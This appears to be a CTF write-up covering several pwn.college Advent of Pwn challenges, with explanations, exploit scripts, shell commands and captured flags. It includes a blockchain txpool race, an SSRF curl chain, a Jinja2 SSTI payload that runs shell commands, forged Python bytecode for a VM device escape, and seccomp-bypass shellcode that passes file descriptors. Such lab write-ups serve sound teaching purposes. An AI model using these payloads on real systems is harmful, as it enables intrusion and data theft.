balances = get_balances()
hacker_balance = balances['balances'].get('hacker', 0)
if hacker_balance < 1:
print(f" Balance is 0! Mining nice blocks...")
chain = get_chain()
current_nice = sum(1 for b in chain if b.get("nice") == "hacker")
if current_nice >= 10:
print(f" [!] STUCK: Nice maxed, balance 0")
print(f" Restart challenge!")
return
for _ in range(10 - current_nice):
head = get_head()
txpool = get_txpool(head["hash"])
block, _ = mine_block(head["hash"], head["block"]["index"] + 1, txp)
submit_block(block)
balances = get_balances()
hacker_balance = balances['balances'].get('hacker', 0)
if hacker_balance < 1:
print(f" Still 0. Restart challenge!")
return
gift_nonces_to_exclude = set()
(success, msg), flag_nonce = send_letter("hacker", secret, hacker_key)
if not success:
print(f" Rejected: {msg}")
return
gift_nonces_to_exclude.add(f"{flag_nonce}-gift")
print(f" Sent! Mining and waiting for flag...")
# Mine and wait for flag
flag = None
for attempt in range(150):
head = get_head()
txpool = get_txpool(head["hash"])
filtered_txs = filter_txs(txpool["txs"], gift_nonces_to_exclude)
block, _ = mine_block(head["hash"], head["block"]["index"] + 1, filtere)
submit_block(block)
flag = find_gift_in_txpool(flag_nonce)
if flag and flag.startswith("pwn"):
break
flag = find_gift_for_nonce(flag_nonce)
if flag and flag.startswith("pwn"):
break
if attempt % 30 == 0:
print(f" Attempt {attempt}...")
time.sleep(0.05)
print(f"\n{'='*50}")
if flag and flag.startswith("pwn.college{"):
print(f"[*] FLAG: {flag}")
elif flag:
print(f"[!] Wrong secret! Got: '{flag}'")
print(f" Clearing cache...")
if SECRET_FILE.exists():
SECRET_FILE.unlink()
else:
print(f"[!] No flag received")
print(f"{'='*50}")
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="pwn.college advent-of-pwn CTF)
parser.add_argument("--reset", action="store_true", help="Reset saved progr)
parser.add_argument("--set-secret", type=str, help="Manually set known secr)
parser.add_argument("--show", action="store_true", help="Show current progr)
args = parser.parse_args()
if args.show:
s = load_secret_progress()
print(f"Current progress: '{s}' ({len(s)}/32 chars)")
sys.exit(0)
if args.reset:
if SECRET_FILE.exists():
SECRET_FILE.unlink()
print("Progress reset.")
sys.exit(0)
if args.set_secret:
save_secret_progress(args.set_secret)
print(f"Secret set to: '{args.set_secret}' ({len(args.set_secret)}/32 c)
sys.exit(0)
main()
$ python3 3balance.py
[*] pwn.college advent-of-pwn CTF day 6
[*] Target: http://localhost
[1] Checking blockchain state...
Head block index: 1
Hacker balance: 1
Hacker nice count: 0/10
[2] Mining 10 blocks to max hacker's nice balance...
Hacker balance now: 11
[3] Scanning chain for existing secret chars...
Have 0/32 chars
[4] Sending ALL letters at once (racing elves)...
[00] sent
[01] sent
[02] sent
β¦
[29] sent
[30] sent
[31] sent
Mining to confirm letters...
Collecting secret chars from txpool...
[00] -> 'c'
[01] -> '8'
[02] -> '0'
β¦
[29] -> '0'
[30] -> 'a'
[31] -> 'c'
[5] SECRET_GIFT = c803007ea6cef3ac64bff8433490c0ac
[6] Sending flag letter...
Sent! Mining and waiting for flag...
Attempt 0...
==================================================
[*] FLAG: pwn.college{Q_eDP6duSHQ-yb1Q-6SLl31QNj_.QX0ETOxIDL2ATOykzW}
================================================== Txpool leak + selective mining = 33 gifts with only 11 balance. Key: read gifts before they're mined!
A Flask app (turkey.py) with heavily obfuscated payloads spawning services in network namespaces. The emojis hint at multiple layers (turkey/duck/chicken = different services).
First step: decode the obfuscated payloads to understand the architecture. Base64 + zlib + more encoding reveals three services in separate network namespaces.
Flask (Python)
localhost:80
Node.js "cobol"
72.79.72.79:80
/fetch?url=...
Sinatra "php"
88.77.65.83:80
/flag?xmas=...
# Step 1: Decode payloads to discover architecture (base64 + zlib)
# Step 2: Chain SSRF through middleware to backend
curl "http://localhost/proxy?url=http://72.79.72.79/fetch?url=http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag"
Reverse engineer obfuscated config β discover hidden services β SSRF chain to backend.
A "toy workshop" API with endpoints: /create (from .c.j2 templates), /tinker (modify content or render), /assemble (compile), /play (execute). The render operation passes content through Jinja2's render_template_string(). Multiple tinker operations can be chained.
In Jinja2, lipsum is a built-in function for generating Lorem Ipsum placeholder text. But like all Python function objects, it carries a __globals__ attribute - a dictionary containing all global variables from the module where the function was defined.
This is powerful because Flask imports the os module internally, and that reference ends up in the globals! Here's the exploitation chain:
lipsum # Jinja2 built-in function
.__globals__ # Python dict of module globals
['os'] # The os module reference!
.popen('cat /flag') # os.popen() executes shell commands
.read() # Get the output
Why this works: lipsum is a built-in Jinja2 function, and like all Python functions, it has a __globals__ attribute containing the module's global namespace. Flask imports os internally, so we get direct access to shell commands. This is shorter than the classic __class__.__mro__[1].__subclasses__() chain.
# 1. Create toy from template
curl -d '{"template": "teddy.c.j2"}' http://localhost/create
# Returns: {"id": "abc123"}
id=abc123
# 2. Replace content with SSTI payload
curl -d '{"op":"replace","index":0,"length":99999,"content":"#include <stdio.h>\nint main(){puts(\"{{ lipsum.__globals__['\''os'\''].popen('\''cat /flag*'\'').read().strip() }}\");}"}' http://localhost/tinker/$id
# 3. Trigger Jinja2 rendering (executes SSTI!)
curl -d '{"op":"render"}' http://localhost/tinker/$id
# 4. Compile and run (flag is now in the output)
curl -d '{ }' http://localhost/assemble/$id
curl -d '{ }' http://localhost/play/$id
Tinker allows content injection β render triggers SSTI β RCE via lipsum.__globals__['os'].popen().
We're inside a QEMU VM with a custom PCI device: pypu-pci (Python Processing Unit). The device executes Python bytecode (.pyc files) and has access to a gifts module containing the flag - but only in "privileged" mode.
~ # lspci
00:03.0 Class 00ff: 1337:1225 # Vendor "leet", Device "Christmas"
~ # cat /sys/bus/pci/devices/0000:00:03.0/resource
0x00000000febd5000 0x00000000febd5fff 0x0000000000040200 # BAR0
0x00000000febd6000 0x00000000febd6fff 0x0000000000040200 # BAR1
0x00000000febd7000 0x00000000febd7fff 0x0000000000040200 # BAR2
The device checks bytes 8-15 of the .pyc header against a hardcoded hash 0xf0a0101a75bc9dd3. This is not a cryptographic verification against the actual bytecode - just a static comparison! We simply put this magic value in our .pyc header. No hash collision needed.
$ python3.13 -c '
import marshal, struct, base64
code = compile("import gifts; print(gifts.flag)", "<x>", "exec")
magic = b"\xf3\x0d\x0d\x0a"
flags = struct.pack("<I", 0x03)
priv_hash = struct.pack("<Q", 0xf0a0101a75bc9dd3)
pyc = magic + flags + priv_hash + marshal.dumps(code)
print(base64.b64encode(pyc).decode())
'
8w0NCgMAAADTnbx1GhCg8OMAAAAAAAAAAAAAAAADAAAAAAAAAPMwAAAAlQBTAFMBSwByAFwBIgBcAFIEAAAAAAAAAAAAAAAAAAAAAAAANQEAAAAAAAAgAGcBKQLpAAAAAE4pA9oFZ2lmdHPaBXByaW502gRmbGFnqQDzAAAAANoDPHg+2gg8bW9kdWxlPnIJAAAAAQAAAHMTAAAA8AMBAQHbAAyJZZBFl0qRStUOH3IHAAAA
~ # mkdir /tmp
~ # echo "8w0NCgMAAADTnbx1GhCg8OMAAAAAAAAAAAAAAAADAAAAAAAAAPMwAAAAlQBTAFMBSwByAF
wBIgBcAFIEAAAAAAAAAAAAAAAAAAAAAAAANQEAAAAAAAAgAGcBKQLpAAAAAE4pA9oFZ2lmdHPaBXByaW
502gRmbGFnqQDzAAAAANoDPHg+2gg8bW9kdWxlPnIJAAAAAQAAAHMTAAAA8AMBAQHbAAyJZZBFl0qRSt
UOH3IHAAAA" | base64 -d > /tmp/flag.pyc
~ #
~ # cat /tmp/exploitVM.sh
#!/bin/sh
i=0
for byte in $(xxd -p -c1 /tmp/flag.pyc); do
devmem $((0xfebd5100 + i)) 8 0x$byte
i=$((i + 1))
done
devmem 0xfebd5010 32 $i
devmem 0xfebd500c 32 1
for j in $(seq 0 127); do
b=$(devmem $((0xfebd6000 + j)) 8)
[ "$b" = "0x00" ] && break
printf "\\$(printf '%03o' $b)"
done
echo
~ # sh /tmp/exploitVM.sh
<module 'gifts'>
pwn.college{As-oED_oPwegme90-CXKPliC5pU.QX4UTMyIDL2ATOykzW}
PCI device analysis via lspci/sysfs β reverse engineer MMIO protocol β forge .pyc with magic hash β VM escape!
Two processes exist: the parent is unrestricted, the child runs under seccomp allowing only openat, sendmsg, recvmsg, exit_group. No read/write allowed!
Unix domain sockets support SCM_RIGHTS - passing file descriptors between processes via ancillary data. The sandboxed child can open the flag file and pass the fd to the unrestricted parent, which then reads it.
Creates Unix socket pair β fork() β receives fd via recvmsg() β os.read(fd)
Allowed: openat, sendmsg, recvmsg, exit_group
1. openat("/flag") β flag_fd
2. sendmsg(socket, {SCM_RIGHTS: flag_fd})
#!/usr/bin/env python3
"""
Exploit for northpole-relay seccomp challenge.
Uses socketpair and SCM_RIGHTS to bypass the seccomp sandbox
and exfiltrate the file descriptor for /flag.
"""
import socket
import os
import sys
import array
import subprocess
import tempfile
from pwn import *
context.arch = 'amd64'
context.log_level = 'warn'
# Refined shellcode with correct structure layout for sendmsg/SCM_RIGHTS
def make_shellcode():
# SOL_SOCKET = 1
# SCM_RIGHTS = 1
# Assembly is written to be position-independent (PIC)
return asm('''
/* Sub-stack allocation for msghdr/cmsghdr/iovec */
sub rsp, 128
mov rbp, rsp /* rbp points to the base of the allocated space */
/* 1. openat(AT_FDCWD, "/flag", O_RDONLY) */
mov rax, 257 /* openat syscall number */
mov rdi, -100 /* AT_FDCWD */
lea rsi, [rip + flag_path] /* "/flag" path */
xor rdx, rdx /* O_RDONLY (0) */
syscall
mov r12, rax /* Save the flag FD (rax) in r12 */
/* --- Construct cmsghdr at rbp + 0 --- */
mov qword ptr [rbp+0], 20 /* cmsg_len: 20 (CMSG_LEN(4) for 1 FD) */
mov dword ptr [rbp+8], 1 /* cmsg_level: SOL_SOCKET (1) */
mov dword ptr [rbp+12], 1 /* cmsg_type: SCM_RIGHTS (1) */
mov dword ptr [rbp+16], r12d /* cmsg_data: the FD (only 4 bytes needed) */
/* --- Construct iovec at rbp + 32 --- */
lea rax, [rip + flag_path]
mov qword ptr [rbp+32], rax /* iov_base: pointer to "/flag" string */
mov qword ptr [rbp+40], 5 /* iov_len: length of "/flag" (5 bytes) */
/* --- Construct msghdr at rbp + 64 --- */
xor rax, rax
mov qword ptr [rbp+64], rax /* msg_name = 0 */
mov qword ptr [rbp+72], rax /* msg_namelen = 0 */
lea rax, [rbp+32]
mov qword ptr [rbp+80], rax /* msg_iov: ptr to iovec */
mov qword ptr [rbp+88], 1 /* msg_iovlen: 1 */
lea rax, [rbp+0]
mov qword ptr [rbp+96], rax /* msg_control: ptr to cmsghdr */
mov qword ptr [rbp+104], 24 /* msg_controllen: 24 (aligned size) */
mov qword ptr [rbp+112], rax /* msg_flags = 0 */
/* 2. sendmsg(1, msghdr, 0) */
mov rax, 46 /* sendmsg syscall number */
mov rdi, 1 /* fd 1 (stdout, redirected to socket) */
lea rsi, [rbp+64] /* pointer to msghdr struct */
xor rdx, rdx /* flags = 0 */
syscall
/* 3. exit_group(0) */
mov rax, 231 /* exit_group syscall number */
xor rdi, rdi /* status = 0 */
syscall
flag_path:
.asciz "/flag"
''')
def recv_fd(sock):
"""Receive a file descriptor over a Unix socket."""
# SCM_RIGHTS sends the FD in the ancillary data
fds = array.array("i")
# CMSG_LEN(4) is the minimum buffer size for ancillary data
msg, ancdata, flags, addr = sock.recvmsg(1024, socket.CMSG_LEN(4))
for cmsg_level, cmsg_type, cmsg_data in ancdata:
if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
# Extract the 4-byte integer file descriptor
fds.frombytes(cmsg_data[:4])
return fds[0] if fds else None
def main():
shellcode = make_shellcode()
print(f"[*] Shellcode size: {len(shellcode)} bytes")
# Create socketpair for IPC
parent_sock, child_sock = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
# Set a small timeout on the socket to prevent indefinite blocking during banner reading
parent_sock.settimeout(0.5)
# Fork and exec the challenge program
pid = os.fork()
if pid == 0:
# Child process: set up I/O redirection and execute challenge
parent_sock.close()
# Redirect stdin (fd 0) and stdout (fd 1) to the socket
os.dup2(child_sock.fileno(), 0)
os.dup2(child_sock.fileno(), 1)
child_sock.close()
try:
# Execute the challenge binary
os.execv("/challenge/northpole-relay", ["/challenge/northpole-relay"])
except Exception:
# Exit cleanly if exec fails
sys.exit(1)
# Parent process: perform the exploit
child_sock.close()
# 1. Consume banners until the challenge is ready to read shellcode
print("[*] Consuming banners...")
banner_data = b''
try:
# Read until timeout or until the last expected banner is seen
while True:
chunk = parent_sock.recv(1024)
if not chunk:
break
banner_data += chunk
# The last banner is "Protecting station from South Pole elfs..."
if b"Protecting station" in banner_data:
break
except socket.timeout:
# Expected if the program prints its banners and then blocks on read(0)
pass
except Exception as e:
print(f"[-] Error consuming banner: {e}")
# Clean up and exit if reading fails
parent_sock.close()
os.waitpid(pid, 0)
return
print(f"[*] Banners received (last lines confirm readiness): \n{banner_data.decode().strip()}")
# Remove timeout for the main exploit logic (optional, but good practice)
parent_sock.settimeout(None)
# 2. Send the shellcode
print(f"[*] Sending {len(shellcode)} bytes of shellcode...")
parent_sock.sendall(shellcode)
# 3. Receive the file descriptor
print("[*] Waiting to receive file descriptor...")
try:
# Set a timeout for the critical recv_fd operation
parent_sock.settimeout(5.0)
received_fd = recv_fd(parent_sock)
except socket.timeout:
print("[-] Exploit timed out waiting for SCM_RIGHTS. The shellcode likely failed.")
received_fd = None
except Exception as e:
print(f"[-] Error during recv_fd: {e}")
received_fd = None
# 4. Read the flag
if received_fd is not None:
print(f"[+] Received flag file descriptor: {received_fd}")
try:
# Use os.read() on the received file descriptor
flag = os.read(received_fd, 4096)
print(f"π [+] Flag: {flag.decode().strip()}")
except Exception as e:
print(f"[-] Failed to read from received FD: {e}")
finally:
os.close(received_fd)
else:
print("[-] No file descriptor received.")
# 5. Cleanup
parent_sock.close()
os.waitpid(pid, 0)
if __name__ == "__main__":
main()
$ python3 exploit_day10.py
[*] Shellcode size: 172 bytes
[*] Consuming banners...
[*] Banners received (last lines confirm readiness):
[*] Sending 172 bytes of shellcode...
[*] Waiting to receive file descriptor...
[+] Received flag file descriptor: 5
π [+] Flag: pwn.college{orpJvDPVb1rBE_uKJTOUYnCCpzW.QX5UTMyIDL2ATOykzW}
$SCM_RIGHTS fd passing: sandboxed child opens file, passes fd to unrestricted parent via Unix socket ancillary data.
Challenge provides a QEMU instance with network connected and an empty hard disk. Goal: use nc to connect to 192.168.13.37:1337. But first we need to install MS-DOS and get networking working!
dos/disk[1-3].img - MS-DOS 6.22 installationpcnet/disk1.vfd - AMD PCnet packet drivermtcp/disk1.img - mTCP TCP/IP stacklanman/disk[1-4].img - Microsoft LAN Manager (not needed)turbocpp/disk[1-2].img - Turbo C++ (not needed)- Boot from dos/disk1.img
- FDISK β create primary partition, set active
- FORMAT C: /S
- Swap disks 1β2β3 as prompted
- Reboot from C:
A:
CD PKTDRVR
PCNTPK INT=0x60 ; Load at software interrupt 0x60
; Copy mTCP to C: and create config
COPY A:\*.* C:\
; Create C:\MTCP.CFG:
packetint 0x60
IPADDR 192.168.13.100
NETMASK 255.255.255.0
GATEWAY 192.168.13.1
SET MTCPCFG=C:\MTCP.CFG
NC -target 192.168.13.37 1337
Install DOS β packet driver β mTCP stack β NC to get flag. Note: More floppy disk images were provided than necessary for the solution (LAN Manager, Turbo C++), which could cause confusion if you're not familiar with the jungle of 1990s PC networking implementations. Having studied during that era definitely helped here, over 30 years later. Most nostalgic challenge!
Similar to Day 1, but at scale: 461 ELF binaries, each expecting 256-byte input. Each applies ~1000 AVX2 SIMD transformations and compares against hardcoded target values.
vpaddb - byte-wise addition (32 bytes at once)
vpsubb - byte-wise subtraction
vpblendvb - conditional blend: if mask[i] & 0x80, use computed value; else keep original
#!/usr/bin/env python3
"""
Thorough check & repair - validates size and content
"""
from z3 import *
import re
import sys
import os
def is_valid_solution(filepath):
"""Strict validation: must be exactly 256 bytes, correct format"""
if not os.path.exists(filepath):
return False, "missing"
with open(filepath, 'rb') as f:
content = f.read()
if len(content) != 256:
return False, f"wrong size ({len(content)} != 256)"
if not content.startswith(b'\xf0\x9f\x8e\x85'):
return False, "bad header"
if b'is nice!' not in content:
return False, "missing 'is nice!'"
# Check that after the message it's all nulls
try:
newline_pos = content.index(b'\n')
remainder = content[newline_pos+1:]
if remainder != b'\x00' * len(remainder):
return False, "garbage after message"
except:
return False, "no newline"
return True, "ok"
def solve_binary(binary_path):
"""Solve a single binary and return the correct input"""
with open(binary_path, 'rb') as f:
binary = f.read()
expected = list(binary[0x8080:0x8080 + 256])
offset_to_chunk = {
0x100: 0, 0xe0: 1, 0xc0: 2, 0xa0: 3,
0x80: 4, 0x60: 5, 0x40: 6, 0x20: 7
}
def get_const(addr):
file_off = addr - 0x400000
if 0 <= file_off < len(binary) - 32:
return list(binary[file_off:file_off+32])
return [0] * 32
def get_byte(addr):
file_off = addr - 0x400000
if 0 <= file_off < len(binary):
return binary[file_off]
return 0
import subprocess
result = subprocess.run(['objdump', '-d', binary_path], capture_output=True, text=True)
lines = result.stdout.split('\n')
operations = []
i = 0
while i < len(lines):
line = lines[i]
m = re.match(r'\s*([0-9a-f]+):', line)
if not m:
i += 1
continue
addr = int(m.group(1), 16)
if addr < 0x401022:
i += 1
continue
if 'vpcmpeqb' in line:
break
if 'vmovdqu' in line and '%ymm0' in line and '(%rbp)' in line:
m = re.search(r'-0x([0-9a-f]+)\(%rbp\),%ymm0', line)
if not m:
i += 1
continue
chunk_offset = int(m.group(1), 16)
if chunk_offset not in offset_to_chunk:
i += 1
continue
src_chunk = offset_to_chunk[chunk_offset]
j = i + 1
const = None
while j < len(lines) and j < i + 10:
next_line = lines[j]
if 'vmovdqu' in next_line and '%ymm1' in next_line:
m2 = re.search(r'# 0x([0-9a-f]+)', next_line)
if m2:
const = get_const(int(m2.group(1), 16))
j += 1
continue
if 'vpbroadcastb' in next_line and '%ymm1' in next_line:
m2 = re.search(r'# 0x([0-9a-f]+)', next_line)
if m2:
byte_val = get_byte(int(m2.group(1), 16))
const = [byte_val] * 32
j += 1
continue
if ('vpaddb' in next_line or 'vpsubb' in next_line) and const is not None:
is_add = 'vpaddb' in next_line
j += 1
mask = None
while j < len(lines) and j < i + 15:
store_line = lines[j]
if 'vmovdqu' in store_line and '%ymm3' in store_line:
m3 = re.search(r'# 0x([0-9a-f]+)', store_line)
if m3:
mask = get_const(int(m3.group(1), 16))
j += 1
continue
if 'vpblendvb' in store_line:
j += 1
continue
if 'vmovdqu' in store_line and '(%rbp)' in store_line:
m4 = re.search(r'-0x([0-9a-f]+)\(%rbp\)', store_line)
if m4:
dest_offset = int(m4.group(1), 16)
if dest_offset in offset_to_chunk:
dest_chunk = offset_to_chunk[dest_offset]
operations.append({
'is_add': is_add,
'src': src_chunk,
'dst': dest_chunk,
'const': const,
'mask': mask
})
break
j += 1
break
j += 1
i += 1
input_vars = [[BitVec(f'in_{c}_{i}', 8) for i in range(32)] for c in range(8)]
state = [list(chunk) for chunk in input_vars]
for op in operations:
src = op['src']
dst = op['dst']
const = op['const']
mask = op['mask']
is_add = op['is_add']
if mask is None:
if is_add:
new_vals = [state[src][i] + const[i] for i in range(32)]
else:
new_vals = [state[src][i] - const[i] for i in range(32)]
state[dst] = new_vals
else:
new_vals = []
for i in range(32):
if mask[i] & 0x80:
if is_add:
new_vals.append(state[src][i] + const[i])
else:
new_vals.append(state[src][i] - const[i])
else:
new_vals.append(state[src][i])
state[dst] = new_vals
solver = Solver()
for c in range(8):
for i in range(32):
idx = c * 32 + i
solver.add(state[c][i] == expected[idx])
if solver.check() == sat:
model = solver.model()
solution = []
for c in range(8):
for i in range(32):
val = model.eval(input_vars[c][i]).as_long()
solution.append(val)
return bytes(solution)
else:
return None
def main():
if len(sys.argv) < 3:
print("Usage: check_repair.py ")
sys.exit(1)
input_dir = sys.argv[1]
output_dir = sys.argv[2]
os.makedirs(output_dir, exist_ok=True)
files = sorted(os.listdir(input_dir))
total = len(files)
# Check all files
print("Checking all solutions...")
broken = []
for filename in files:
output_path = os.path.join(output_dir, filename)
valid, reason = is_valid_solution(output_path)
if not valid:
broken.append((filename, reason))
print(f"Found {len(broken)} broken/missing out of {total}")
if broken:
print("\nBroken files:")
for fn, reason in broken[:20]:
print(f" {fn[:16]}... : {reason}")
if len(broken) > 20:
print(f" ... and {len(broken)-20} more")
if not broken:
print("All solutions valid!")
return
# Fix broken ones
print(f"\nRepairing {len(broken)} files...")
for idx, (filename, reason) in enumerate(broken):
binary_path = os.path.join(input_dir, filename)
output_path = os.path.join(output_dir, filename)
print(f"[{idx+1}/{len(broken)}] Fixing {filename[:16]}... ({reason})")
# Delete corrupt file first
if os.path.exists(output_path):
os.remove(output_path)
try:
solution = solve_binary(binary_path)
if solution:
with open(output_path, 'wb') as f:
f.write(solution)
text = solution.rstrip(b'\x00')
try:
preview = text.decode('utf-8', errors='replace')[:50]
except:
preview = text[:50].hex()
print(f" -> {preview}")
else:
print(f" -> FAILED: No solution")
except Exception as e:
print(f" -> ERROR: {e}")
print("\nDone! Run: ./run out")
if __name__ == '__main__':
main()
$ /challenge/run out
SeaBIOS (version rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org)
iPXE (http://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+1EFD0E10+1EF30E10
CA00
Booting from ROM...
[init] loading 9p modules
insmod /lib/modules/6.8.0-90-generic/kernel/fs/netfs/netfs.ko
insmod /lib/modules/6.8.0-90-generic/kernel/net/9p/9pnet.ko
insmod /lib/modules/6.8.0-90-generic/kernel/net/9p/9pnet_virtio.ko
insmod /lib/modules/6.8.0-90-generic/kernel/fs/9p/9p.ko
[init] mounting 9p list...
[init] running checks
π
g0blin is nice! π
π
blunderer is nice! π
π
cxponxtu is nice! π
π
NotHoudaifa is nice! π
π
manbolq is nice! π
π
x90 is nice! π
β¦
π
Xenonminer is nice! π
π
hubertf is nice! π
π
xisop is nice! π
β¦
π
Linz is nice! π
π
b0n0n is nice! π
π
BigGamer9000 is nice! π
π
sakal is nice! π
π
NeX is nice! π
π
armax is nice! π
π
jelly8173 is nice! π
π
ordinary is nice! π
π
JuliusRapp is nice! π
π
blasty is nice! π
NICE
[ 77.935707] reboot: Power down
pwn.college{YA0DGUgBk2JbrQcgXd9NKR21Brs.QX1YTMyIDL2ATOykzW}
$
Parse AVX2 ops from objdump β model as Z3 constraints β solve 461 binaries in ~15 minutes.
| Tool | Best For | Limitations |
|---|---|---|
| Z3 | Reversible arithmetic, constraint systems | Requires manual modeling |
| angr | Automatic path exploration | Slow for complex binaries |
| Perl | Quick text parsing | Only simple cases |
| pwntools | Interactive dialog with programs, exploit development | Python knowledge required |
| Claude.ai | Code generation, API research, debugging; decompiles binaries | Max subscription needed for extended usage |
| Gemini | Code writing / verification | Sometimes refuses to do security work; beware of hallucinations |
| Perplexity | search engine tasks & explaining things | Bad at coding, tents to drop large chunks of code |
day12$ head -1 out/49214fcaee38046cf09aeb5eeba7794c011c23dedef16cd1662237b5a1c5c462
π
hubertf is nice! π
π Merry Christmas and Happy Hacking! π